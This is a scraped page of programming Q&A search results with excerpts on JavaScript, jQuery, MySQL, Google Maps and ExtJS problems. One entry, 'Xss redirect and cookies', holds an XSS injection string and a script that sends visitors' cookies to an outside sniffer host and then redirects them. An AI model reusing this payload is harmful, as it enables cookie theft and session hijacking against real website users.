Search Results

Search found 24406 results on 977 pages for 'javascript namespaces'.

Page 521/977 | < Previous Page | 517 518 519 520 521 522 523 524 525 526 527 528  | Next Page >

  • What will the $result be when MySQL returns nothing?

    - by Teddy
    This might seem ridiculously simple, but I've been getting all kinds of error depending on how I handle a query that returns nothing. $query = "SELECT * FROM messages WHERE id > ".$messageId; $result =mysql_query($query); $time = time(); while(time()-$time<60 && $result==false) { $result = mysql_query($query); } if(result != false) //Encode response else //return nothing How do I check whether my mysql_query() returned anything?

    Read the article

  • Google Chrome and (cache or memory leaks).

    - by Alexey Ogarkov
    Hello All, I have a big problem with Google Chrome and its memory. My app is displaying to user several image charts and reloads them every 10s. In the interval i have code like that var image = new Image(); var src = 'myurl/image'+new Date().getTime(); image.onload = function() { document.getElementById('myimage').src = src; image.onload = image.onabort = image.onerror = null; } image.src = src; So i have no memory leaks in Firefox and IE. Here the response headers for images Server Apache-Coyote/1.1 Vary * Cache-Control no-store (// I try no-cache, must-revalidate and so on here) Content-Type image/png Content-Length 11131 Date Mon, 31 May 2010 14:00:28 GMT Vary * taken from here In about:cache page there is no my cached images. If i enable purge-memory-button for chrome (--purge-memory-button parameter) it`s not help. Images is in PNG24. So i think that the problem is not in cache. May be Google Chrome is not releasing memory for old images. Please help. Any suggestions. Thanks.

    Read the article

  • CSS/JS: Evenly spreading elements across multiple lines

    - by David Lawson
    How would you go about evenly spreading elements across multiple lines, for example: wrapper div: <div style="text-align: center"> elements inside: <div style="display: inline-block; padding-left: 10px; padding-right: 10px;">Element</div> Instead of only having one element on the next line (wrapped): Element 1 Element 2 Element 3 Element 4 Element 5 Element 6 It does this, spreading out the elements: Element 1 Element 2 Element 3 Element 4 Element 5 Element 6

    Read the article

  • <div> of images, retrieved by getJSON, disappear after append()

    - by Midiane
    Hi all I'm working on a GMaps application to retrieve images, via getJSON(), and to populate a popup marker. The following is the markup which I add to the marker dynamically: <div id="images"></div> <div id="CampWindow" style="display:none;width:550px;height:500px;"> <h4 id="camp-title"></h4> <p>View... (all links open in new windows)</p> <ul> <li><a id="camp-hp-link" target="_blank" href="">camp home page</a></li> <li>information: <a id="camp-av-link" target="_blank" href="">availability</a> | <a id="camp-vi-link" target="_blank" href="">vital information</li> </ul> <p id="message"></p> I've been clawing out my eyes and woohoo for the past couple of days, trying to get the images to show inside the CampWindow . Then, I decided to think laterally and to see if the images were being retrieved at all. I then moved the images outside and sure as Bob (Hope), the images were being retrieved and refreshed with every click. So, I decided to the keep the images outside and then once loaded, append it to the CampWindow . It's not working still; when I append the div to the main CampWindow div, the images won't show. I check in Firebug with the pointer thingy and it shows me the images as empty. I try it again with the images outside and it shows the images. I've tried before append and appendTo with no success. Am I missing something here? I have no more woohoo to claw out. Please, please help. marker.clicked = function(marker){ $("#images").html(''); $('#camp-title').text(this.name); $('#camp-hp-link').attr('href', this.url); $('#camp-av-link').attr('href', this.url + '/tourism/availability.php'); $('#camp-vi-link').attr('href', this.url + '/tourism/general.php'); // get resort images via jQuery AJAX call - includes/GetResortImages.inc.php $.getJSON('./includes/GetResortImages.inc.php', { park: this.park_name, camp: this.camp_name }, RetrieveImages); function RetrieveImages (data) { if ('failed' == data.status) { $('#messages').append("<em>We don't have any images for this rest camp right now!</em>"); } else { if ('' != data.camp) { $.each(data, function(key,value){ $("<img/>").attr("src", value).appendTo('#images'); }); } } } //.append($("#images")); $("#CampWindow").show(); var windowContent = $("<html />"); $("#CampWindow").appendTo(windowContent); var infoWindowAnchor = marker.getIcon().infoWindowAnchor; var iconAnchor = marker.getIcon().iconAnchor; var offset = new google.maps.Size(infoWindowAnchor.x-iconAnchor.x,infoWindowAnchor.y-iconAnchor.y); map.openInfoWindowHtml(marker.getLatLng(), windowContent.html(), {pixelOffset:offset}); } markers.push(marker); });

    Read the article

  • Custom GridView delete button

    - by abatishchev
    How can I customize automatically generated command button, e.g. Delete? I want to add a client confirmation on deleting and in the same moment I want this button would be generated on setting AutoGenerateDeleteButton="true". Is it possible?? I can add a custom button this way: <asp:TemplateField> <ItemTemplate> <asp:LinkButton runat="server" CommandName="Delete" OnClientClick="return confirm('Delete?')">Delete</asp:LinkButton> </ItemTemplate> </asp:TemplateField> but it will be not automatically localized and will be not generated on setting AutoGenerateDeleteButton="true"!

    Read the article

  • Problems with row height in table with expand /collapse in IE

    - by Cagey
    I have ten rows in my table. All the even rows are hidden by default. The odd rows have a 'plus' icon in the first cell. The plus to be clicked to see the next even row in the table. Clicking the icon again will hide the row again. I do this with simple jquery hide and show methods. The problem with this in IE is whenever I expand and a row and then close it, the border of the row which was expanded stays in the page itself and does not clear. This makes the pages look awkward in IE. I don't face this issue in FF. My friend here suspects this has something to do with the cell height. Im not sure if that is so. So please help me fix this. Thanks, Cagey.

    Read the article

  • jQuery Cycle - #next #prev, goto nextGallery after final slide of currentGallery

    - by FHP
    I am using jQuery cycle in several galleries with #next #prev navigation and a image counter output. Now I am trying to connect all these galleries together. If the user reaches the final slide of gallery A (galleryA.html), the #next anchor should point to gallery B (galleryB.html) / the #prev anchor should point to gallery C (galleryC.html). How can I combine my 2 functions to do that? // slideshow fx $(function() { $('#slideshow').cycle({ fx: 'fade', speed: 350, prev: '#prev', next: '#next', timeout: 0, after: onAfter }); }); //image counter output function onAfter(curr,next,opts) { var caption = (opts.currSlide + 1) + opts.slideCount; $('#counter').html(caption); } html: <div id="slideshow-container"> <div class="slideshow-nav"><a id="prev" href=""></a></div> <div class="slideshow-nav"><a id="next" href=""></a></div> <div id="slideshow" class="pics"> <img src="galleryA/01.jpg" /> <img src="galleryA/02.jpg" /> <img src="galleryA/03.jpg" /> <img src="galleryA/04.jpg" /> <img src="galleryA/05.jpg" /> <img src="galleryA/06.jpg" /> </div> </div>

    Read the article

  • how to replace multi string with a array node in js

    - by Rueta
    hi everyone! i here a Work and i don't know how to do it. i have a string here: <div class="demotext"> <p>this is demo string i demo want to demo use</p> </div> i create the array variable for demo: var demoarray = new array('a','b','c'); now i want replace 'demo' in string by array node, follow 'demo' one change to 'a' , 'demo' two change to 'b'....

    Read the article

  • jQuery not working on Popup Window

    - by Seth Duncan
    I am using ASP.Net and jQuery + jQuery UI. Everything works fine with the jQuery on any other page, however when I create a popup window with window.open(...) jQuery seems to no longer function. I have all of the script files included on the Popup's Master page, so am not sure why it won't fire. Any Thoughts?

    Read the article

  • Jquery and binding an event to an iframe

    - by dbr
    **I'm currently using a jquery textselect plugin to fire alerts based on the selection text anywhere on the page and it works just fine doing something like: $(document).ready(function() { $(document).bind('textselect', function(e) { alert(e.text); }); }); I've since had to add an iframe to the page and I need the text selection to work on text within the iframe as well. I'm trying to do something like this but it's not working: $(document).ready(function() { $('#iframeId').load(function() { $(document.getElementById("iframeId").contentWindow).bind('textselect',function(e) { alert(e.text); }); }); At this point I've tried a whole mess of ways to reference the iframe document without any success. Any ideas?**

    Read the article

  • how to load part of the HTML page which is currently on display ?

    - by ganapati hegde
    Hi, i have an ebook(relatively large size say 800 pages),in HTML format. I am opening that book as webpage using webkit-gtk+. If i load the whole book at a time,it takes too much memory(RAM ).So i dont want to load the whole book at a time, but load the part of the book which is currently on display. and when the user scrolls down, next part should be displayed.How can i implement that ?

    Read the article

  • Ajax Post Request Returns JSON but Deferred Fails

    - by imrane
    I have a cross-domain POST request to http://api.local/user/auth - my API endpoint. I allow Cross Domain requests in my api with CORS. Using Chrome if that makes a difference. I get a valid server JSON response with 200 Status Code but I am using deferreds from a backbone model like so: @model.save() .fail(-> console.log 'sync fail') .success -> console.log 'sync OK' And I consistently get a 'sync fail' instead of the expected 'sync OK' Thoughts?

    Read the article

  • retrieving of coordinates from google search?

    - by cheesebunz
    Is there anyway of retrieving coordinates through google search? right now my search is able to have markers on the map, but however i do not have any idea how to retrieve coordinates through just the search api alone. I have a html page named mapsToolKit.html and two js scripts with maps.js and search.js, i want the coding to be in search.js, so far i have managed to done in the maps section but is there anyway to retrieve it back through the search.js part?

    Read the article

  • Weird black spots on custom Google Map with IE

    - by Domenic
    Hello. I'm getting some weird black spots with a custom map page (via the Google Maps API v2.x) I have created. (Click SERVICIOS and then the icon farthest south to generate image shown below.) The issue seems to only appear when using Internet Explorer. I'm wondering if this is a common problem and if there is a common fix? Any ideas? Thanks.

    Read the article

  • Xss redirect and cookies

    - by user1824906
    I found Active XSS on one site. I need to steal cookies and after it to make redirect on other site. This site has a non-frame protection I tried to put "><script src='http://site.ru/1.js' /></script>" http://site.ru/1.js contains: img = new Image(); img.src = "http:/sniffer.com/nasdasdnu.gif?"+document.cookie; var URL = "http://images.cards.mail.ru/11bolprivet.jpg" var speed = 100; function reload() { document.location = URL } setTimeout("reload()", speed); But it doesn't work=\ Any help?

    Read the article

  • How does Backbone.js connect View to Model

    - by William Sham
    I am trying to learn backbone.js through the following example. Then I got stuck at the point ItemView = Backbone.View.extend why you can use this.model.get? I thought this is referring to the instance of ItemView that would be created. Then why would ItemView has a model property at all?!! (function($){ var Item = Backbone.Model.extend({ defaults: { part1: 'hello', part2: 'world' } }); var List = Backbone.Collection.extend({ model: Item }); var ItemView = Backbone.View.extend({ tagName: 'li', initialize: function(){ _.bindAll(this, 'render'); }, render: function(){ $(this.el).html('<span>'+this.model.get('part1')+' '+this.model.get('part2')+'</span>'); return this; } }); var ListView = Backbone.View.extend({ el: $('body'), events: { 'click button#add': 'addItem' }, initialize: function(){ _.bindAll(this, 'render', 'addItem', 'appendItem'); this.collection = new List(); this.collection.bind('add', this.appendItem); this.counter = 0; this.render(); }, render: function(){ $(this.el).append("<button id='add'>Add list item</button>"); $(this.el).append("<ul></ul>"); _(this.collection.models).each(function(item){ appendItem(item); }, this); }, addItem: function(){ this.counter++; var item = new Item(); item.set({ part2: item.get('part2') + this.counter }); this.collection.add(item); }, appendItem: function(item){ var itemView = new ItemView({ model: item }); $('ul', this.el).append(itemView.render().el); } }); var listView = new ListView(); })(jQuery);

    Read the article

  • ExtJs getting the FormPanel that is created dynmaically from button click.

    - by sharad
    I have Extjs ViewPort panel, that contain center panel, that contain tablpanel, in which I have added gridpanel in one tab, on this I have put 'Add Person' button in tbar of , that will add a new tab of a FormPanel, in its Reset button, I am not able to access Form to reset it. Do any body have faced same issue... please help how to get it working. Ext.onReady( function(){ // Ext.get(document.body, true).toggleClass('xtheme-gray'); var myBorderPanel = new Ext.Viewport({ title: 'Software Releases', // renderTo: document.body, renderTo: Ext.getBody(), layout: 'border', id: 'main', items: [ { title: 'Center Region', region: 'center', // center region is required, no width/height specified tbar: [ { text: 'Add person', // only when user have write priovilege. handler: function() { var tabpanel = Ext.getCmp('main').findById('tabs'); var wtab = tabpanel.add({ // // var addrelease_win = new Ext.Window({ url: 'reledit-submit.json', id: 'addform0', // height: 300, width: 400, layout: 'form', frame: true, title: 'Add New Release', closable: true, items: [ { xtype: 'textfield', fieldLabel: 'Name' } buttons: [{ text: 'Save', scope: wtab, handler: function() { wtab.getForm().submit({ success: function(f,a) { Ext.Msg.alert('Success', 'It worked'); }, failure: function(f,a){ Ext.msg.alert('Warnning', 'Error'); } }); } },{ text: 'Reset', scope: wtab, handler: function() { // Ext.getCmp('addform0').getForm().reset(); // tabpanel.getActiveTab.reset(); // Ext.getCmp('main').findById('addform').getForm().reset(); // this.getForm().reset(); // this.getForm().reset(); // Ext.Msg.alert('sdfsd', 'asdfsd ' + Ext.getCmp('addform0').getValue() + ' sdfsd'); this.findById('addform0').getForm().reset(); // Ext.Msg.alert('sdfsd', 'asdfsd '); } }] }); // addrelease_win.show(); tabpanel.activate(tabpanel.items.length - 1); } } ], xtype: 'tabpanel', id: 'tabs', activeTab: 0, items: [{ title: 'Data', xtype: 'editorgrid', store: store, stripeRows: true, // autoExpandColumn: 'title', columns: [ {header: "Name" , dataIndex: "name" , width: 50, sortable: true}, {header: "DOB", dataIndex: "dob" , sortable: true} ], }) }], margins: '5 5 0 0' } ] }); }

    Read the article

  • JQuery Modal Boxes and Iframe

    - by Ólafur Waage
    I've been using Simple Modal and i feel it doesn't live up to what i need at the moment. Is there a Modal Box that supports loading external files and allows those external files to close the modal box and redirect the parent page to some url. An example of what i want to do. You have a list of users, you could click "Add user" and a Modal Box with the form pops up, you fill that in and submit it. That would close the box and reload the user list page so you would see the user in the list. Then you could click "Edit user" and a Modal Box with the user info filled in the form fields would pop up and you could edit, submit and it would close and refresh. I know this can be done if i have the user info form as a hidden div for each user but this will not scale well and it is a lot of overhead data. I found some code about this on Google Code but just can't get it to work (possibly different simple modal version I am willing to change to another modal box tool also. UPDATE: Do either Thickbox or Fancybox support being closed from a child IFrame element?

    Read the article

  • Adding DOM elements using contentEditable

    - by zorglub76
    Hi all, I've created an editable div, and I want to replace smiley signs with smiley images. But whenever I replace a string with a dom element (<img> or <span> or whatever..), the div stops being editable (i.e. I can see the caret when I click on text, but can add no characters to it). What's going on? (I'm doing this in Safari) Here's my code: var txtInput = document.getElementById("asdf"); txtInput.contentEditable = true; txtInput.addEventListener("textInput", function(event){ var str = txtInput.innerHTML; txtInput.innerHTML = str.replace("f", "<span>w<span>"); }, false);

    Read the article

  • Regular Expression - capturing contents of <select>

    - by joey mueller
    I'm trying to use a regular expression to capture the contents of all option values inside an HTML select element For example, in: <select name="test"> <option value="blah">one</option> <option value="mehh">two</option> <option value="rawr">three</option> </select> I'd like to capture one two and three into an array. My current code is var pages = responseDetails.responseText.match(/<select name="page" .+?>(?:\s*<option .+?>([^<]+)<\/option>)+\s*<\/select>/); for (var c = 0; c<pages.length; c++) { alert(pages[c]); } But it only captures the last value, in this case, "three". How can I modify this to capture all of them? Thanks!

    Read the article

< Previous Page | 517 518 519 520 521 522 523 524 525 526 527 528  | Next Page >